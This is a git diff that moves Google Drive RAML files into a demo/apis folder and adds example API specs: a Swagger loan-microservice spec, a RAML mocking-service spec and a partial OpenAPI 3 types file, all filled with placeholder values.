diff --git a/demo/google-drive-api/examples/permissionUpdateRequest-example.json b/demo/apis/google-drive-api/examples/permissionUpdateRequest-example.json
similarity index 100%
rename from demo/google-drive-api/examples/permissionUpdateRequest-example.json
rename to demo/apis/google-drive-api/examples/permissionUpdateRequest-example.json
diff --git a/demo/google-drive-api/examples/property-example.json b/demo/apis/google-drive-api/examples/property-example.json
similarity index 100%
rename from demo/google-drive-api/examples/property-example.json
rename to demo/apis/google-drive-api/examples/property-example.json
diff --git a/demo/google-drive-api/examples/propertyList-example.json b/demo/apis/google-drive-api/examples/propertyList-example.json
similarity index 100%
rename from demo/google-drive-api/examples/propertyList-example.json
rename to demo/apis/google-drive-api/examples/propertyList-example.json
diff --git a/demo/google-drive-api/examples/revision-example.json b/demo/apis/google-drive-api/examples/revision-example.json
similarity index 100%
rename from demo/google-drive-api/examples/revision-example.json
rename to demo/apis/google-drive-api/examples/revision-example.json
diff --git a/demo/google-drive-api/examples/revisionList-example.json b/demo/apis/google-drive-api/examples/revisionList-example.json
similarity index 100%
rename from demo/google-drive-api/examples/revisionList-example.json
rename to demo/apis/google-drive-api/examples/revisionList-example.json
diff --git a/demo/google-drive-api/examples/revisionUpdateRequest-example.json b/demo/apis/google-drive-api/examples/revisionUpdateRequest-example.json
similarity index 100%
rename from demo/google-drive-api/examples/revisionUpdateRequest-example.json
rename to demo/apis/google-drive-api/examples/revisionUpdateRequest-example.json
diff --git a/demo/google-drive-api/examples/stopWatchingRequest-example.json b/demo/apis/google-drive-api/examples/stopWatchingRequest-example.json
similarity index 100%
rename from demo/google-drive-api/examples/stopWatchingRequest-example.json
rename to demo/apis/google-drive-api/examples/stopWatchingRequest-example.json
diff --git a/demo/google-drive-api/examples/watchRequest-example.json b/demo/apis/google-drive-api/examples/watchRequest-example.json
similarity index 100%
rename from demo/google-drive-api/examples/watchRequest-example.json
rename to demo/apis/google-drive-api/examples/watchRequest-example.json
diff --git a/demo/google-drive-api/google-drive-api.raml b/demo/apis/google-drive-api/google-drive-api.raml
similarity index 100%
rename from demo/google-drive-api/google-drive-api.raml
rename to demo/apis/google-drive-api/google-drive-api.raml
diff --git a/demo/google-drive-api/libraries/about-lib.raml b/demo/apis/google-drive-api/libraries/about-lib.raml
similarity index 100%
rename from demo/google-drive-api/libraries/about-lib.raml
rename to demo/apis/google-drive-api/libraries/about-lib.raml
diff --git a/demo/google-drive-api/libraries/annotations.raml b/demo/apis/google-drive-api/libraries/annotations.raml
similarity index 100%
rename from demo/google-drive-api/libraries/annotations.raml
rename to demo/apis/google-drive-api/libraries/annotations.raml
diff --git a/demo/google-drive-api/libraries/app-lib.raml b/demo/apis/google-drive-api/libraries/app-lib.raml
similarity index 100%
rename from demo/google-drive-api/libraries/app-lib.raml
rename to demo/apis/google-drive-api/libraries/app-lib.raml
diff --git a/demo/google-drive-api/libraries/child-lib.raml b/demo/apis/google-drive-api/libraries/child-lib.raml
similarity index 100%
rename from demo/google-drive-api/libraries/child-lib.raml
rename to demo/apis/google-drive-api/libraries/child-lib.raml
diff --git a/demo/google-drive-api/libraries/comment-lib.raml b/demo/apis/google-drive-api/libraries/comment-lib.raml
similarity index 100%
rename from demo/google-drive-api/libraries/comment-lib.raml
rename to demo/apis/google-drive-api/libraries/comment-lib.raml
diff --git a/demo/google-drive-api/libraries/file-lib.raml b/demo/apis/google-drive-api/libraries/file-lib.raml
similarity index 100%
rename from demo/google-drive-api/libraries/file-lib.raml
rename to demo/apis/google-drive-api/libraries/file-lib.raml
diff --git a/demo/google-drive-api/libraries/parent-lib.raml b/demo/apis/google-drive-api/libraries/parent-lib.raml
similarity index 100%
rename from demo/google-drive-api/libraries/parent-lib.raml
rename to demo/apis/google-drive-api/libraries/parent-lib.raml
diff --git a/demo/google-drive-api/libraries/permission-lib.raml b/demo/apis/google-drive-api/libraries/permission-lib.raml
similarity index 100%
rename from demo/google-drive-api/libraries/permission-lib.raml
rename to demo/apis/google-drive-api/libraries/permission-lib.raml
diff --git a/demo/google-drive-api/libraries/properties-lib.raml b/demo/apis/google-drive-api/libraries/properties-lib.raml
similarity index 100%
rename from demo/google-drive-api/libraries/properties-lib.raml
rename to demo/apis/google-drive-api/libraries/properties-lib.raml
diff --git a/demo/google-drive-api/libraries/revision-lib.raml b/demo/apis/google-drive-api/libraries/revision-lib.raml
similarity index 100%
rename from demo/google-drive-api/libraries/revision-lib.raml
rename to demo/apis/google-drive-api/libraries/revision-lib.raml
diff --git a/demo/google-drive-api/libraries/watch-lib.raml b/demo/apis/google-drive-api/libraries/watch-lib.raml
similarity index 100%
rename from demo/google-drive-api/libraries/watch-lib.raml
rename to demo/apis/google-drive-api/libraries/watch-lib.raml
diff --git a/demo/google-drive-api/securitySchemes/oauth_2_0.raml b/demo/apis/google-drive-api/securitySchemes/oauth_2_0.raml
similarity index 100%
rename from demo/google-drive-api/securitySchemes/oauth_2_0.raml
rename to demo/apis/google-drive-api/securitySchemes/oauth_2_0.raml
diff --git a/demo/google-drive-api/traits/file.raml b/demo/apis/google-drive-api/traits/file.raml
similarity index 100%
rename from demo/google-drive-api/traits/file.raml
rename to demo/apis/google-drive-api/traits/file.raml
diff --git a/demo/google-drive-api/traits/results.raml b/demo/apis/google-drive-api/traits/results.raml
similarity index 100%
rename from demo/google-drive-api/traits/results.raml
rename to demo/apis/google-drive-api/traits/results.raml
diff --git a/demo/google-drive-api/traits/visibility.raml b/demo/apis/google-drive-api/traits/visibility.raml
similarity index 100%
rename from demo/google-drive-api/traits/visibility.raml
rename to demo/apis/google-drive-api/traits/visibility.raml
diff --git a/demo/google-drive-api/types/additional-role-info.raml b/demo/apis/google-drive-api/types/additional-role-info.raml
similarity index 100%
rename from demo/google-drive-api/types/additional-role-info.raml
rename to demo/apis/google-drive-api/types/additional-role-info.raml
diff --git a/demo/google-drive-api/types/channels-stop.raml b/demo/apis/google-drive-api/types/channels-stop.raml
similarity index 100%
rename from demo/google-drive-api/types/channels-stop.raml
rename to demo/apis/google-drive-api/types/channels-stop.raml
diff --git a/demo/google-drive-api/types/export-format.raml b/demo/apis/google-drive-api/types/export-format.raml
similarity index 100%
rename from demo/google-drive-api/types/export-format.raml
rename to demo/apis/google-drive-api/types/export-format.raml
diff --git a/demo/google-drive-api/types/feature.raml b/demo/apis/google-drive-api/types/feature.raml
similarity index 100%
rename from demo/google-drive-api/types/feature.raml
rename to demo/apis/google-drive-api/types/feature.raml
diff --git a/demo/google-drive-api/types/file-capabilities.raml b/demo/apis/google-drive-api/types/file-capabilities.raml
similarity index 100%
rename from demo/google-drive-api/types/file-capabilities.raml
rename to demo/apis/google-drive-api/types/file-capabilities.raml
diff --git a/demo/google-drive-api/types/file-labels.raml b/demo/apis/google-drive-api/types/file-labels.raml
similarity index 100%
rename from demo/google-drive-api/types/file-labels.raml
rename to demo/apis/google-drive-api/types/file-labels.raml
diff --git a/demo/google-drive-api/types/icon.raml b/demo/apis/google-drive-api/types/icon.raml
similarity index 100%
rename from demo/google-drive-api/types/icon.raml
rename to demo/apis/google-drive-api/types/icon.raml
diff --git a/demo/google-drive-api/types/import-format.raml b/demo/apis/google-drive-api/types/import-format.raml
similarity index 100%
rename from demo/google-drive-api/types/import-format.raml
rename to demo/apis/google-drive-api/types/import-format.raml
diff --git a/demo/google-drive-api/types/new-drive-file.raml b/demo/apis/google-drive-api/types/new-drive-file.raml
similarity index 100%
rename from demo/google-drive-api/types/new-drive-file.raml
rename to demo/apis/google-drive-api/types/new-drive-file.raml
diff --git a/demo/google-drive-api/types/owners.raml b/demo/apis/google-drive-api/types/owners.raml
similarity index 100%
rename from demo/google-drive-api/types/owners.raml
rename to demo/apis/google-drive-api/types/owners.raml
diff --git a/demo/google-drive-api/types/picture.raml b/demo/apis/google-drive-api/types/picture.raml
similarity index 100%
rename from demo/google-drive-api/types/picture.raml
rename to demo/apis/google-drive-api/types/picture.raml
diff --git a/demo/google-drive-api/types/property.raml b/demo/apis/google-drive-api/types/property.raml
similarity index 100%
rename from demo/google-drive-api/types/property.raml
rename to demo/apis/google-drive-api/types/property.raml
diff --git a/demo/google-drive-api/types/resource.raml b/demo/apis/google-drive-api/types/resource.raml
similarity index 100%
rename from demo/google-drive-api/types/resource.raml
rename to demo/apis/google-drive-api/types/resource.raml
diff --git a/demo/google-drive-api/types/role-set.raml b/demo/apis/google-drive-api/types/role-set.raml
similarity index 100%
rename from demo/google-drive-api/types/role-set.raml
rename to demo/apis/google-drive-api/types/role-set.raml
diff --git a/demo/google-drive-api/types/service-quota.raml b/demo/apis/google-drive-api/types/service-quota.raml
similarity index 100%
rename from demo/google-drive-api/types/service-quota.raml
rename to demo/apis/google-drive-api/types/service-quota.raml
diff --git a/demo/google-drive-api/types/standard-request.raml b/demo/apis/google-drive-api/types/standard-request.raml
similarity index 100%
rename from demo/google-drive-api/types/standard-request.raml
rename to demo/apis/google-drive-api/types/standard-request.raml
diff --git a/demo/google-drive-api/types/team-drive-list.raml b/demo/apis/google-drive-api/types/team-drive-list.raml
similarity index 100%
rename from demo/google-drive-api/types/team-drive-list.raml
rename to demo/apis/google-drive-api/types/team-drive-list.raml
diff --git a/demo/google-drive-api/types/team-drive.raml b/demo/apis/google-drive-api/types/team-drive.raml
similarity index 100%
rename from demo/google-drive-api/types/team-drive.raml
rename to demo/apis/google-drive-api/types/team-drive.raml
diff --git a/demo/google-drive-api/types/thumbnail.raml b/demo/apis/google-drive-api/types/thumbnail.raml
similarity index 100%
rename from demo/google-drive-api/types/thumbnail.raml
rename to demo/apis/google-drive-api/types/thumbnail.raml
diff --git a/demo/google-drive-api/types/upload-size.raml b/demo/apis/google-drive-api/types/upload-size.raml
similarity index 100%
rename from demo/google-drive-api/types/upload-size.raml
rename to demo/apis/google-drive-api/types/upload-size.raml
diff --git a/demo/google-drive-api/types/user.raml b/demo/apis/google-drive-api/types/user.raml
similarity index 100%
rename from demo/google-drive-api/types/user.raml
rename to demo/apis/google-drive-api/types/user.raml
diff --git a/demo/lib-fragment/lib-fragment.raml b/demo/apis/lib-fragment/lib-fragment.raml
similarity index 100%
rename from demo/lib-fragment/lib-fragment.raml
rename to demo/apis/lib-fragment/lib-fragment.raml
diff --git a/demo/apis/loan-ms/loan-microservice.json b/demo/apis/loan-ms/loan-microservice.json
new file mode 100644
index 0000000..9c897b1
--- /dev/null
+++ b/demo/apis/loan-ms/loan-microservice.json
@@ -0,0 +1,699 @@
+{
+ "swagger" : "2.0",
+ "info" : {
+ "description" : "Loan microservice contains set of fine grained services to handle with all the loan related informations like, update the User information, generate uinque application id, fetch the nearest branch details, vehicle make and other related information.",
+ "version" : "version-1.0.3",
+ "title" : "Loan Microservice",
+ "termsOfService" : "Terms of service",
+ "contact" : {
+ "name" : "John Becker",
+ "email" : "JohnBecker@cognizant.com",
+ "url": "http://domain.com"
+ },
+ "license": {
+ "name": "Apache 2.0",
+ "url": "https://www.apache.org/licenses/LICENSE-2.0.html"
+ }
+ },
+ "host" : "localhost:8081",
+ "basePath" : "/api",
+ "schemes":[
+ "http",
+ "https"
+ ],
+ "tags" : [ {
+ "name" : "loan-application-controller",
+ "description" : "Loan Application Controller"
+ } ],
+ "paths" : {
+ "/branchdetail" : {
+ "get" : {
+ "tags" : [ "loan-application-controller" ],
+ "summary" : "Fetch Branch Details",
+ "description" : "Service to fetch the Branch Details based on the Given Zip code",
+ "operationId" : "fetchBranchDetailsUsingGET",
+ "consumes" : [ "application/json" ],
+ "produces" : [ "application/json" ],
+ "parameters" : [ {
+ "name" : "zipCode",
+ "in" : "query",
+ "description" : "Input the zipcode value to get the branches available in the location",
+ "required" : true,
+ "type" : "string"
+ } ],
+ "responses" : {
+ "200" : {
+ "description" : "Successfully retrieved branch details",
+ "schema" : {
+ "$ref" : "#/definitions/Branch"
+ },
+ "headers" : {
+ "Branch" : {
+ "type" : "string",
+ "description" : "The fetched branch resource"
+ }
+ }
+ },
+ "401" : {
+ "description" : "You are not authorized to view the resource"
+ },
+ "403" : {
+ "description" : "Accessing the resource you were trying to reach is forbidden"
+ },
+ "404" : {
+ "description" : "The resource you were trying to reach is not found"
+ }
+ }
+ }
+ },
+ "/loanapplication" : {
+ "post" : {
+ "tags" : [ "loan-application-controller" ],
+ "summary" : "Submit Loan Application",
+ "description" : "Service to Create a Loan Applicaiton Details",
+ "operationId" : "saveLoanApplicationDetailsUsingPOST",
+ "consumes" : [ "application/json" ],
+ "produces" : [ "application/json" ],
+ "parameters" : [ {
+ "in" : "body",
+ "name" : "loanApplication",
+ "description" : "Input the loanapplication object to save the loan details to the service",
+ "required" : true,
+ "schema" : {
+ "$ref" : "#/definitions/LoanApplication"
+ }
+ } ],
+ "responses" : {
+ "200" : {
+ "description" : "Successfully retrieved loan application",
+ "schema" : {
+ "$ref" : "#/definitions/Application"
+ },
+ "headers" : {
+ "Application" : {
+ "type" : "string",
+ "description" : "The submitted Loan resource"
+ }
+ }
+ },
+ "201" : {
+ "description" : "Created"
+ },
+ "401" : {
+ "description" : "You are not authorized to view the resource"
+ },
+ "403" : {
+ "description" : "Accessing the resource you were trying to reach is forbidden"
+ },
+ "404" : {
+ "description" : "The resource you were trying to reach is not found"
+ }
+ }
+ }
+ },
+ "/username" : {
+ "get" : {
+ "tags" : [ "loan-application-controller" ],
+ "summary" : "Find ApplicationId",
+ "description" : "Service to find application id based on user name",
+ "operationId" : "findByUserNameUsingGET",
+ "consumes" : [ "application/json" ],
+ "produces" : [ "application/json" ],
+ "parameters" : [ {
+ "name" : "userName",
+ "in" : "query",
+ "description" : "Input the username to fetch the application details available for the user",
+ "required" : true,
+ "type" : "string"
+ } ],
+ "responses" : {
+ "200" : {
+ "description" : "Successfully retrieved account details",
+ "schema" : {
+ "type" : "string"
+ },
+ "headers" : {
+ "ApplicationId" : {
+ "type" : "string",
+ "description" : "The fetched ApplicationId resource"
+ }
+ }
+ },
+ "401" : {
+ "description" : "You are not authorized to view the resource"
+ },
+ "403" : {
+ "description" : "Accessing the resource you were trying to reach is forbidden"
+ },
+ "404" : {
+ "description" : "The resource you were trying to reach is not found"
+ }
+ }
+ }
+ },
+ "/vehicledetail" : {
+ "get" : {
+ "tags" : [ "loan-application-controller" ],
+ "summary" : "Find Vehicle Details",
+ "description" : "Service to find the vehicle model based on vehicle make",
+ "operationId" : "findByVehicleModelUsingGET",
+ "consumes" : [ "application/json" ],
+ "produces" : [ "application/json" ],
+ "parameters" : [ {
+ "name" : "vehicleMake",
+ "in" : "query",
+ "description" : "Input the vehiclemake value to retrieve the vehicle details",
+ "required" : true,
+ "type" : "string"
+ } ],
+ "responses" : {
+ "200" : {
+ "description" : "Successfully retrieved vechicle details",
+ "schema" : {
+ "type" : "array",
+ "items" : {
+ "$ref" : "#/definitions/VehicleDetail"
+ }
+ },
+ "headers" : {
+ "VehicleDetail" : {
+ "type" : "string",
+ "description" : "The fetched VehicleDetail resource"
+ }
+ }
+ },
+ "401" : {
+ "description" : "You are not authorized to view the resource"
+ },
+ "403" : {
+ "description" : "Accessing the resource you were trying to reach is forbidden"
+ },
+ "404" : {
+ "description" : "The resource you were trying to reach is not found"
+ }
+ }
+ }
+ }
+ },
+ "definitions" : {
+ "Vehicle" : {
+ "type" : "object",
+ "properties" : {
+ "approxMileage" : {
+ "type" : "string"
+ },
+ "city" : {
+ "type" : "string"
+ },
+ "estimatedValue" : {
+ "type" : "integer",
+ "format" : "int32"
+ },
+ "regState" : {
+ "type" : "string"
+ },
+ "sellerAddress" : {
+ "type" : "string"
+ },
+ "sellerName" : {
+ "type" : "string"
+ },
+ "state" : {
+ "type" : "string"
+ },
+ "street" : {
+ "type" : "string"
+ },
+ "transactionType" : {
+ "type" : "string"
+ },
+ "vehIdentNo" : {
+ "type" : "string"
+ },
+ "vehicleId" : {
+ "type" : "integer",
+ "format" : "int32"
+ },
+ "vehicleMake" : {
+ "type" : "string"
+ },
+ "vehicleModel" : {
+ "type" : "string"
+ },
+ "vehicleType" : {
+ "type" : "string"
+ },
+ "vehicleYear" : {
+ "type" : "integer",
+ "format" : "int32"
+ },
+ "zipCode" : {
+ "type" : "string"
+ }
+ },
+ "example" : {
+ "zipCode" : "zipCode",
+ "city" : "city",
+ "sellerName" : "sellerName",
+ "sellerAddress" : "sellerAddress",
+ "vehicleMake" : "vehicleMake",
+ "transactionType" : "transactionType",
+ "estimatedValue" : 7,
+ "vehicleYear" : 1,
+ "street" : "street",
+ "approxMileage" : "approxMileage",
+ "vehicleModel" : "vehicleModel",
+ "vehIdentNo" : "vehIdentNo",
+ "regState" : "regState",
+ "state" : "state",
+ "vehicleId" : 1,
+ "vehicleType" : "vehicleType"
+ }
+ },
+ "VehicleDetail" : {
+ "type" : "object",
+ "properties" : {
+ "id" : {
+ "type" : "string"
+ },
+ "vehIdentNo" : {
+ "type" : "string"
+ },
+ "vehicleDetailsId" : {
+ "type" : "integer",
+ "format" : "int32"
+ },
+ "vehicleMake" : {
+ "type" : "string"
+ },
+ "vehicleModel" : {
+ "type" : "string"
+ },
+ "vehicleType" : {
+ "type" : "string"
+ },
+ "vehicleYear" : {
+ "type" : "integer",
+ "format" : "int32"
+ }
+ },
+ "example" : {
+ "vehicleYear" : 6,
+ "vehicleDetailsId" : 0,
+ "vehicleModel" : "vehicleModel",
+ "vehIdentNo" : "vehIdentNo",
+ "id" : "id",
+ "vehicleMake" : "vehicleMake",
+ "vehicleType" : "vehicleType"
+ }
+ },
+ "User" : {
+ "type" : "object",
+ "properties" : {
+ "addTypePrevious" : {
+ "type" : "string"
+ },
+ "addTypePrimary" : {
+ "type" : "string"
+ },
+ "annualIncome" : {
+ "type" : "integer"
+ },
+ "anyPoliticalRelationship" : {
+ "type" : "boolean"
+ },
+ "apartmentNo" : {
+ "type" : "string"
+ },
+ "citizenOf" : {
+ "type" : "boolean"
+ },
+ "city" : {
+ "type" : "string"
+ },
+ "dateOfBirth" : {
+ "type" : "string",
+ "format" : "date-time"
+ },
+ "email" : {
+ "type" : "string"
+ },
+ "firstName" : {
+ "type" : "string"
+ },
+ "housingStatus" : {
+ "type" : "string"
+ },
+ "initial" : {
+ "type" : "string"
+ },
+ "lastName" : {
+ "type" : "string"
+ },
+ "monthlyPayment" : {
+ "type" : "integer"
+ },
+ "monthsAtCurrAdd" : {
+ "type" : "integer",
+ "format" : "int32"
+ },
+ "otherIncome" : {
+ "type" : "string"
+ },
+ "permanentResidence" : {
+ "type" : "boolean"
+ },
+ "phoneNo" : {
+ "type" : "integer",
+ "format" : "int32"
+ },
+ "ssn" : {
+ "type" : "integer",
+ "format" : "int32"
+ },
+ "state" : {
+ "type" : "string"
+ },
+ "street" : {
+ "type" : "string"
+ },
+ "suffix" : {
+ "type" : "string"
+ },
+ "uid" : {
+ "type" : "integer",
+ "format" : "int32"
+ },
+ "userName" : {
+ "type" : "string"
+ },
+ "yearsAtCurrAdd" : {
+ "type" : "integer",
+ "format" : "int32"
+ },
+ "zipCode" : {
+ "type" : "string"
+ }
+ },
+ "example" : {
+ "apartmentNo" : "apartmentNo",
+ "lastName" : "lastName",
+ "zipCode" : "zipCode",
+ "annualIncome" : 5,
+ "housingStatus" : "housingStatus",
+ "city" : "city",
+ "permanentResidence" : true,
+ "suffix" : "suffix",
+ "phoneNo" : 9,
+ "ssn" : 3,
+ "uid" : 2,
+ "yearsAtCurrAdd" : 4,
+ "monthlyPayment" : 2,
+ "street" : "street",
+ "state" : "state",
+ "addTypePrimary" : "addTypePrimary",
+ "email" : "email",
+ "initial" : "initial",
+ "citizenOf" : true,
+ "dateOfBirth" : "2000-01-23T04:56:07.000+00:00",
+ "userName" : "userName",
+ "otherIncome" : "otherIncome",
+ "firstName" : "firstName",
+ "addTypePrevious" : "addTypePrevious",
+ "anyPoliticalRelationship" : true,
+ "monthsAtCurrAdd" : 7
+ }
+ },
+ "Branch" : {
+ "type" : "object",
+ "properties" : {
+ "apartmentNo" : {
+ "type" : "string"
+ },
+ "branchId" : {
+ "type" : "integer",
+ "format" : "int32"
+ },
+ "branchName" : {
+ "type" : "string"
+ },
+ "city" : {
+ "type" : "string"
+ },
+ "contactPerson" : {
+ "type" : "string"
+ },
+ "phoneNo" : {
+ "type" : "string"
+ },
+ "state" : {
+ "type" : "string"
+ },
+ "street" : {
+ "type" : "string"
+ },
+ "zipCode" : {
+ "type" : "string"
+ }
+ },
+ "example" : {
+ "apartmentNo" : "apartmentNo",
+ "branchId" : 0,
+ "zipCode" : "zipCode",
+ "city" : "city",
+ "street" : "street",
+ "branchName" : "branchName",
+ "contactPerson" : "contactPerson",
+ "state" : "state",
+ "phoneNo" : "phoneNo"
+ }
+ },
+ "LoanApplication" : {
+ "type" : "object",
+ "properties" : {
+ "application" : {
+ "$ref" : "#/definitions/Application"
+ },
+ "user" : {
+ "$ref" : "#/definitions/User"
+ }
+ },
+ "example" : {
+ "application" : {
+ "pendingWith" : "pendingWith",
+ "requestedAmt" : 1,
+ "applicationState" : "applicationState",
+ "ownerShip" : "ownerShip",
+ "userName" : "userName",
+ "branch" : {
+ "apartmentNo" : "apartmentNo",
+ "branchId" : 0,
+ "zipCode" : "zipCode",
+ "city" : "city",
+ "street" : "street",
+ "branchName" : "branchName",
+ "contactPerson" : "contactPerson",
+ "state" : "state",
+ "phoneNo" : "phoneNo"
+ },
+ "vehicle" : {
+ "zipCode" : "zipCode",
+ "city" : "city",
+ "sellerName" : "sellerName",
+ "sellerAddress" : "sellerAddress",
+ "vehicleMake" : "vehicleMake",
+ "transactionType" : "transactionType",
+ "estimatedValue" : 7,
+ "vehicleYear" : 1,
+ "street" : "street",
+ "approxMileage" : "approxMileage",
+ "vehicleModel" : "vehicleModel",
+ "vehIdentNo" : "vehIdentNo",
+ "regState" : "regState",
+ "state" : "state",
+ "vehicleId" : 1,
+ "vehicleType" : "vehicleType"
+ },
+ "loanYearPeriod" : 6,
+ "uid" : 5,
+ "loanTerm" : 0,
+ "applicationStatus" : "applicationStatus",
+ "applicationId" : "applicationId",
+ "user" : {
+ "apartmentNo" : "apartmentNo",
+ "lastName" : "lastName",
+ "zipCode" : "zipCode",
+ "annualIncome" : 5,
+ "housingStatus" : "housingStatus",
+ "city" : "city",
+ "permanentResidence" : true,
+ "suffix" : "suffix",
+ "phoneNo" : 9,
+ "ssn" : 3,
+ "uid" : 2,
+ "yearsAtCurrAdd" : 4,
+ "monthlyPayment" : 2,
+ "street" : "street",
+ "state" : "state",
+ "addTypePrimary" : "addTypePrimary",
+ "email" : "email",
+ "initial" : "initial",
+ "citizenOf" : true,
+ "dateOfBirth" : "2000-01-23T04:56:07.000+00:00",
+ "userName" : "userName",
+ "otherIncome" : "otherIncome",
+ "firstName" : "firstName",
+ "addTypePrevious" : "addTypePrevious",
+ "anyPoliticalRelationship" : true,
+ "monthsAtCurrAdd" : 7
+ }
+ },
+ "user" : {
+ "apartmentNo" : "apartmentNo",
+ "lastName" : "lastName",
+ "zipCode" : "zipCode",
+ "annualIncome" : 5,
+ "housingStatus" : "housingStatus",
+ "city" : "city",
+ "permanentResidence" : true,
+ "suffix" : "suffix",
+ "phoneNo" : 9,
+ "ssn" : 3,
+ "uid" : 2,
+ "yearsAtCurrAdd" : 4,
+ "monthlyPayment" : 2,
+ "street" : "street",
+ "state" : "state",
+ "addTypePrimary" : "addTypePrimary",
+ "email" : "email",
+ "initial" : "initial",
+ "citizenOf" : true,
+ "dateOfBirth" : "2000-01-23T04:56:07.000+00:00",
+ "userName" : "userName",
+ "otherIncome" : "otherIncome",
+ "firstName" : "firstName",
+ "addTypePrevious" : "addTypePrevious",
+ "anyPoliticalRelationship" : true,
+ "monthsAtCurrAdd" : 7
+ }
+ }
+ },
+ "Application" : {
+ "type" : "object",
+ "properties" : {
+ "applicationId" : {
+ "type" : "string"
+ },
+ "applicationState" : {
+ "type" : "string"
+ },
+ "applicationStatus" : {
+ "type" : "string"
+ },
+ "branch" : {
+ "$ref" : "#/definitions/Branch"
+ },
+ "loanTerm" : {
+ "type" : "integer",
+ "format" : "int32"
+ },
+ "loanYearPeriod" : {
+ "type" : "integer",
+ "format" : "int32"
+ },
+ "ownerShip" : {
+ "type" : "string"
+ },
+ "pendingWith" : {
+ "type" : "string"
+ },
+ "requestedAmt" : {
+ "type" : "integer",
+ "format" : "int32"
+ },
+ "uid" : {
+ "type" : "integer",
+ "format" : "int32"
+ },
+ "user" : {
+ "$ref" : "#/definitions/User"
+ },
+ "userName" : {
+ "type" : "string"
+ },
+ "vehicle" : {
+ "$ref" : "#/definitions/Vehicle"
+ }
+ },
+ "example" : {
+ "pendingWith" : "pendingWith",
+ "requestedAmt" : 1,
+ "applicationState" : "applicationState",
+ "ownerShip" : "ownerShip",
+ "userName" : "userName",
+ "branch" : {
+ "apartmentNo" : "apartmentNo",
+ "branchId" : 0,
+ "zipCode" : "zipCode",
+ "city" : "city",
+ "street" : "street",
+ "branchName" : "branchName",
+ "contactPerson" : "contactPerson",
+ "state" : "state",
+ "phoneNo" : "phoneNo"
+ },
+ "vehicle" : {
+ "zipCode" : "zipCode",
+ "city" : "city",
+ "sellerName" : "sellerName",
+ "sellerAddress" : "sellerAddress",
+ "vehicleMake" : "vehicleMake",
+ "transactionType" : "transactionType",
+ "estimatedValue" : 7,
+ "vehicleYear" : 1,
+ "street" : "street",
+ "approxMileage" : "approxMileage",
+ "vehicleModel" : "vehicleModel",
+ "vehIdentNo" : "vehIdentNo",
+ "regState" : "regState",
+ "state" : "state",
+ "vehicleId" : 1,
+ "vehicleType" : "vehicleType"
+ },
+ "loanYearPeriod" : 6,
+ "uid" : 5,
+ "loanTerm" : 0,
+ "applicationStatus" : "applicationStatus",
+ "applicationId" : "applicationId",
+ "user" : {
+ "apartmentNo" : "apartmentNo",
+ "lastName" : "lastName",
+ "zipCode" : "zipCode",
+ "annualIncome" : 5,
+ "housingStatus" : "housingStatus",
+ "city" : "city",
+ "permanentResidence" : true,
+ "suffix" : "suffix",
+ "phoneNo" : 9,
+ "ssn" : 3,
+ "uid" : 2,
+ "yearsAtCurrAdd" : 4,
+ "monthlyPayment" : 2,
+ "street" : "street",
+ "state" : "state",
+ "addTypePrimary" : "addTypePrimary",
+ "email" : "email",
+ "initial" : "initial",
+ "citizenOf" : true,
+ "dateOfBirth" : "2000-01-23T04:56:07.000+00:00",
+ "userName" : "userName",
+ "otherIncome" : "otherIncome",
+ "firstName" : "firstName",
+ "addTypePrevious" : "addTypePrevious",
+ "anyPoliticalRelationship" : true,
+ "monthsAtCurrAdd" : 7
+ }
+ }
+ }
+ }
+}
diff --git a/demo/apis/mocking-service/mocking-service.raml b/demo/apis/mocking-service/mocking-service.raml
new file mode 100644
index 0000000..f033c77
--- /dev/null
+++ b/demo/apis/mocking-service/mocking-service.raml
@@ -0,0 +1,149 @@
+#%RAML 1.0
+
+version: v1
+types:
+ Response:
+ type: object
+ properties:
+ msg: string
+ code: integer
+ examples:
+ r1:
+ msg: "OK"
+ code: 12
+ r2:
+ msg: "error"
+ code: 001
+title: Mocking Server 2
+
+/test:
+ get:
+
+ headers:
+ h1:
+ type: boolean
+ default: false
+ example: false
+ h2:
+ required: true
+ type: string
+ default: A
+
+ queryParameters:
+ parameter1:
+ type: string
+ example: A
+ responses:
+ 200:
+ body:
+ application/json:
+ type: Response
+ put:
+ body:
+ application/json:
+ type: object
+ properties:
+ id: integer
+ name: string
+ example:
+ id: 222
+ name: John Doe
+ responses:
+ 201:
+ body:
+ application/json:
+ type: object
+ properties:
+ code: string
+ msg: string
+ example:
+ code: M1
+ msg: CREATED
+ post:
+ body:
+ application/json:
+ type: object
+ properties:
+ list:
+ type: array
+ items: integer
+ example:
+ list: [1,3,5]
+ responses:
+ 201:
+ body:
+ application/json:
+ type: Response
+
+
+ delete:
+ protocols: [ HTTP ]
+ queryParameters:
+ id:
+ type: string
+ example: s1
+ default: s2
+ responses:
+ 200:
+ body:
+ application/json:
+ type: Response
+
+ options:
+ displayName: options
+ queryParameters:
+ qp1:
+ type: array
+ items: string
+ default: [A,B]
+ example: [C,D]
+ headers:
+ h1:
+ type: boolean
+ default: false
+ example: true
+ head:
+ responses:
+ 200:
+ body:
+ application/json:
+
+ type: Response
+ properties:
+ headers:
+ X-PSN-Exists:
+ type: boolean
+ enum: [true, false]
+ example: true
+ patch:
+ body:
+ application/xml:
+
+ queryParameters:
+ patchId:
+ type: integer
+ example: 123
+ default: 34
+ responses:
+ 200:
+ body:
+ application/json:
+ type: Response
+ trace:
+ headers:
+ exp: date-only
+ body:
+ application/json:
+ type: object
+ properties:
+ txNumber:
+ type: number
+ expirationDate:
+ type: date-only
+
+ connect:
+ responses:
+ 200:
+ body:
+ application/json:
+ type: Response
diff --git a/demo/multi-server/multi-server.yaml b/demo/apis/multi-server/multi-server.yaml
similarity index 100%
rename from demo/multi-server/multi-server.yaml
rename to demo/apis/multi-server/multi-server.yaml
diff --git a/demo/apis/new-oas3-types/new-oas3-types.yaml b/demo/apis/new-oas3-types/new-oas3-types.yaml
new file mode 100644
index 0000000..ae39a38
--- /dev/null
+++ b/demo/apis/new-oas3-types/new-oas3-types.yaml
@@ -0,0 +1,84 @@
+openapi: 3.0.1
+info:
+ title: New OAS 3 types API
+ version: v1
+components:
+ schemas:
+ Person:
+ type: object
+ properties:
+ pets:
+ type: array
+ items:
+ $ref: '#/components/schemas/Pet'
+ Pet:
+ oneOf:
+ - $ref: '#/components/schemas/Cat'
+ - $ref: '#/components/schemas/Dog'
+ - $ref: '#/components/schemas/Tiger'
+ Animal:
+ type: object
+ discriminator:
+ propertyName: petType
+ properties:
+ name:
+ type: string
+ petType:
+ type: string
+ required:
+ - name
+ - petType
+ Monster:
+ anyOf:
+ - $ref: '#/components/schemas/Cat'
+ - $ref: '#/components/schemas/Dog'
+ - $ref: '#/components/schemas/Tiger'
